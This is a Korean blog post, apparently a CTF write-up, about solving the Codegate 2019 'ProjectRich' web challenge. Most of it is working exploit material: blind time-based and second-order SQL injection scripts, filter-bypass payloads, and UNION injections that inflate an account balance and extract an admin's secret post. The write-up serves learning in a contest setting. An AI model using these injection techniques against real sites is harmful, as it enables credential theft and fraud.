현재 Writup 제출 기간인 것 같지만 웹 서버 같은 경우 언제 닫힐지 몰라 닫히기 전에 Writeup을 적어놔야 할 것 같아서 비공개로 기록해놓았다. 추후 Writeup이 CtfTime이나 개인블로그 등에 올라오면 공개로 전환하도록 하겠다.
먼저 풀이에 앞서, 해당 문제는 대회시간안에 풀지못하고 대회 종료 후 1시간정도 지나 풀게되어 많이 아쉬움이 남았다..ㅠㅠ
24시간이상 깨어있는 상태로 문제풀어본게 처음이라 대회종료 몇시간전부터는 너무 졸려서 생각없이 얻어걸려라 하는 식으로 문제를 바라봤던게 화근이었던 것 같다.
문제 풀이에 대해 시작해보면 로그인한 계정으로 999999999원짜리 상품을 사야하는데, 기본적으로 주어지는돈이 10000원이다. 대충 금액을 조작해서 위 상품을 사야할 것 같았다.
본격적으로 취약점을 찾아보면 회원가입 시 ac 파라미터에서 SQLI가 터졌다. 코인을 사고파는 페이지 내 MASTER 패스워드를 구하라는 주석이 있었고, 회원가입 시 admin이라는 문자열이 필터링당하고 있어 일단 해당 취약점을 통해 admin 계정의 패스워드를 구해야 할 것 같았다.
본격적으로 데이터를 뽑아보려하니 where,group,concat,limit와 같은 키워드들이 필터링당하고 있어 특정 조건의 데이터 뽑기가 쉽지 않았다.
일단 아래와 같이 having절을 통해 users라는 테이블이 존재하는 걸 알 수 있었고,
having table_name like 0x757365727325
해당 테이블 내 칼럼명과 같은 경우는 회원가입 시 요청하는 파라미터명과 동일하여 테이블 내 데이터를 뽑을 수 있는 상황이 되었다.
일단 어드민을 지정하여 데이터를 뽑을 수가 없어 패스워드가 어떤형태로 디비에 저장되는지 아래와 같은 코드를 통해 확인해보았다.
import requests
import time
def request(payload):
start = time.time()
url = "http://110.10.147.112/?p=reg"
data = {'id':'345234aaa','pw':'123456','ac':payload}
headers = {'Cookie':'PHPSESSID='}
response = requests.post(url,data=data,headers=headers)
end = time.time()
return end-start
length = 0
data = ""
binary = ""
for j in range(1,100):
binary = ""
for i in range(1,9):
payload = "'),(if(substring(lpad(bin(ord(substring((select max(pw) from users a),"+str(j)+",1))),8,0),"+str(i)+",1)=1,(select 1 union select 2),sleep(0.5)),238333343453453454359222023840234,2342342333333333333333333333333333333333333333333333333333333333333333334234)#"
if request(payload)>0.3:
binary += "0"
else:
binary += "1"
data += chr(int(binary,2))
print "[-]Find Data = " + data
print "[*]Find Data = " + data
패스워드와 같은 경우 sha1으로 저장되고 있었다. 또한 salt값 없이 데이터를 sha1 처리하고 있어서 아래와 같은 구문을 통해 id값에 SQLI 구문을 담아 indirect SQLI를 터트릴 수 있었다.
'),(인젝션 값,sha1(1234),1234)#
이제 id에 SQLI구문을 담아 info, board 페이지를 들어가보면 indirect 인젝션이 터지는 걸 볼 수 있는데, 여기서 union 구문을 통해 info 페이지 접근 시 gold 값을 조작할 수 있지 않을까 싶었다.
그래서 ' union select 1,2,3,4,5# 요런식으로 값을 id에 담고 시도해보니 2번째 칼럼값이 gold에 지정되는걸 볼 수 있었다.
이제 ' union select 1,999999999,3,4,5# 이렇게 지정해서 상품을 구매하면 되겠구나 했는데 id값에 길이제한이 32로 제한되어있었고 위의 구문이 33글자였다. 여기서 한참 고민하다 ' union select 1,1e9,3,4,5# 요런식으로 길이제한을 bypass 할 수 있는 방법이 떠올랐고 실제로 시도해보니 1000000000원이 충전되어서 상품을 구매할 수 있었다.
여기서 끝나겠구나 했는데 실제로 상품을 사보니 이번엔 who are you?라는 문구를 통해 계정을 구매한 사용자에 대한 검증을 하고 있었다.
사용자 검증을 우회해보려고 아래와 같은 구문들을 막 넣어보았는데 잘 되지 않았다.
' union select'admin',1e9,3,4,5#
admin'union select 1,1e9,3,4,5#
' union select "'||1#",1e9,3,4,5#
등등..
이때가 새벽 5시인가 되었는데 너무 졸리다 보니 저 구문에서 어떻게든 끝나길 바래서 다른 부분들을 생각하지 못하고 얻어걸려라 하는식으로 생각없이 아무값이나 넣고 있었다.
그러다 도저히 안풀려서 다른 페이지들에 접근해보니 문제풀기 초반에 봤었던 마스터 패스워드를 구하라는 구문과 게시판 내 존재하던 관리자의 비밀글이 눈에 들어오기 시작했다.
master 계정 패스워드와 같은 경우 디비에 존재할거라 생각했는데 딱히 master,admin으로 보이는 계정의 패스워드를 디비에서 찾지 못해서 중요한게 아닌가?하고 넘어갔었는데 마스터 계정 패스워드가 비밀글에 있을 수 있다는 생각을 하지 못했던게 문제였다. 아 비밀글 데이터를 인젝션으로 뽑아야겠구나..라고 깨닫았을 때가 6~7시쯤이었는데 이미 지칠대로 지쳐버렸고 시간도 얼마 안남아서 새로 코드짜서 문제 풀기엔 무리겠구나 라는 생각에 포기하고 집으로 돌아왔다..ㅠㅠ
그 후 집에와서 대회는 종료되었지만, 아쉬운 마음에 조금 더 문제를 풀어보았고 아래와 같은 코드를 통해 어드민의 비밀글 내 존재하는 마스터 패스워드를 구할 수 있었다. 그 후 구한 패스워드로 비밀번호가 걸려있든 압축된 소스파일을 해제해보면 플래그를 얻기 위해 아래와 같이 금액 조작 후 마스터 패스워드를 같이 보내주면 되는걸 알아낼 수 있었다.
최종적으로 익스한 코드는 아래와 같다.
codegate2019_ProjectRich_exploit.py
import requests
import random
def request_join(payload):
url = "http://110.10.147.112/?p=reg"
data = {'id': "youngsin"+str(int(random.random()*100000000000)), 'pw': '123456', 'ac': "'),("+payload+",sha1(1234),1234)#"}
headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}
response = requests.post(url, data=data, headers=headers)
def request_logout():
url = "http://110.10.147.112/?p=logout"
headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}
response = requests.get(url, headers=headers)
def request_login(payload):
url = "http://110.10.147.112/?p=login"
data = {'id': payload, 'pw': '1234', 'ac': '1234'}
headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}
response = requests.post(url, data=data, headers=headers)
def request_bbsView():
url = "http://110.10.147.112/?p=bbs&page=1"
headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}
response = requests.get(url, headers=headers)
if "<td>-1</td><td><a href=./?p=read&no=-1>TOP SECRET" in response.text:
return True
else:
return False
def get_master_password():
result = ""
for i in range(0, 200):
for j in range(0, 127):
payload = "'||substr(contents," + str(i) + ",1)=" + hex(j) + "#"
request_join("0x" + payload.encode("hex"))
request_logout()
request_login(payload)
if request_bbsView() == True:
result += chr(j)
print result
request_logout()
break
else:
request_logout()
def get_flag():
payload = "r'union select 7,9e9,1,2,3#"
request_logout()
request_join("0x" + payload.encode("hex"))
request_logout()
request_login(payload)
url = "http://110.10.147.112/?p=pay&key=D0_N0T_RE1E@5E_0THER5"
headers = {'Cookie': 'PHPSESSID=pbsa758nahvrkff7uv7g8052mf'}
response = requests.get(url, headers=headers)
result = response.text
print "FIND Flag[*] = " + result[result.find("FLAG"):]
if __name__ == "__main__":
get_master_password() ## get master password = D0_N0T_RE1E@5E_0THER5
get_flag()
FIND Flag[*] = FLAG{H0LD_Y0UR_C0IN_T0_9999-O9-O9!}
'CTF > Writeup' 카테고리의 다른 글
Evlz CTF 2019 WeTheUsers (0) | 2019.02.04 |
---|---|
NCSC CTF 2019 Web Wrietup (0) | 2019.02.04 |
INSOMNIHACK CTF TEASER 2019 Phuck2 :( (0) | 2019.01.22 |
Insomnihack CTF Teaser 2019 l33t-hoster (0) | 2019.01.21 |
ROOT CTF 2017 ROOT Ransomware (0) | 2019.01.02 |